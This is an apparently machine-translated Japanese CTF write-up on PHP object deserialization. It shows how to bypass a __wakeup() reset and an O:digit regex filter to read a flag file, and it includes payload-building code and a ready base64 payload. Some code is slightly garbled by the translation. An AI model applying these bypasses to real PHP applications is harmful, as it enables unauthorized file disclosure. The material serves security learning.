1. ホーム
  2. Web プログラミング
  3. PHP プログラミング
  4. phpのヒント

php セキュリティ 攻撃 世界 unserialize 関数 デシリアライズ 例 詳細

2022-01-14 17:09:02

ステップ

まず、トピックを開き、次のようなソースコードを探します。

ソースコードを分析すると、クラス内に3つのマジックメソッドがあることがわかります。

__construct() : クラス変数を初期化するコンストラクタで、生成時に自動的に呼び出され、結果の引数で $file をオーバーライドします。

__destruct() : 破壊時に呼び出され、ファイルのコードを表示します。ここでは、fl4g.phpを表示します。

__wakeup() : デシリアライズの前に呼び出され、$fileをindex.phpにリセットします。

正規表現の意味:oまたはcで始まる、コロン、1桁以上の数字、大文字・小文字を区別しない

OK、解析は完了です。シリアル化された文字列をbase64で暗号化し、var変数に渡す必要があります。
しかし、ここで私たちは __wakeup() 関数と、フラグを取得するためのレギュラーマッチを使用します。

__wakeup() メソッドバイパス方式:メンバープロパティの数が実際の数より多い場合、このメソッドをバイパスします。

正規のマッチングでは、+を使用してバイパスすることができます。

コード

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file ! = 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo("fl4g.php");// pass in the file we need to display
$b = serialize($a);// do the serialization
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// bypass regular match
$b = str_replace("1:{","2:{",$b);// bypass __wakeup() method

echo base64_encode($b);// base64 encode and output
? >


ペイロード: var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

フラッグの取得に成功〜。

注意:ここに落とし穴があります。シリアル化された文字列を手動で修正し、オンラインサイトで暗号化すると、エンコーディングがペイロードと全く同じでないことに気づきます。

これは、ファイル変数がprivateであるため、シリアライズ文字列の先頭に空白文字、末尾に空白文字があり、このようにシリアライズ文字列を出力しても、ブラウザは空白文字を表示しないためです。

注意深い人は、Demofileの文字数が8文字しかないのに、長さが10文字になっていることにも気がつくでしょう。

したがって、正しいシリアライズ文字列は

O:4:"Demo":1:{s:10:"Demo file";s:8:"fl4g.php";} のようになります。

また、phpのコードを直接使って、完全自動でコーディングしているので、当然ながらNULL文字も見逃しません。

phpのシリアライズ文字列の書式を説明する。

まず、オブジェクトの種類は以下のように分けられます。

a - 配列 b - 論理値
d - double i - integer (整数)
o - 共通オブジェクト r - 参照
s - 文字列 C - カスタムオブジェクト
O - クラス N - ヌル
R - ポインタ参照 U - ユニコード文字列

Format: object type:length:"class name":number of variables in class:{type:length:"value";type:length:"value";......} です。

概要

phpのマジックメソッドに精通し、デシリアライズの利用を検討する。

以上、Attack the World Web php unserialize regular expressions deserializeの詳細でした。php Attack the World unserialize regular expressions deserializeの詳細については、スクリプトハウスの他の関連記事も参考にしてみてください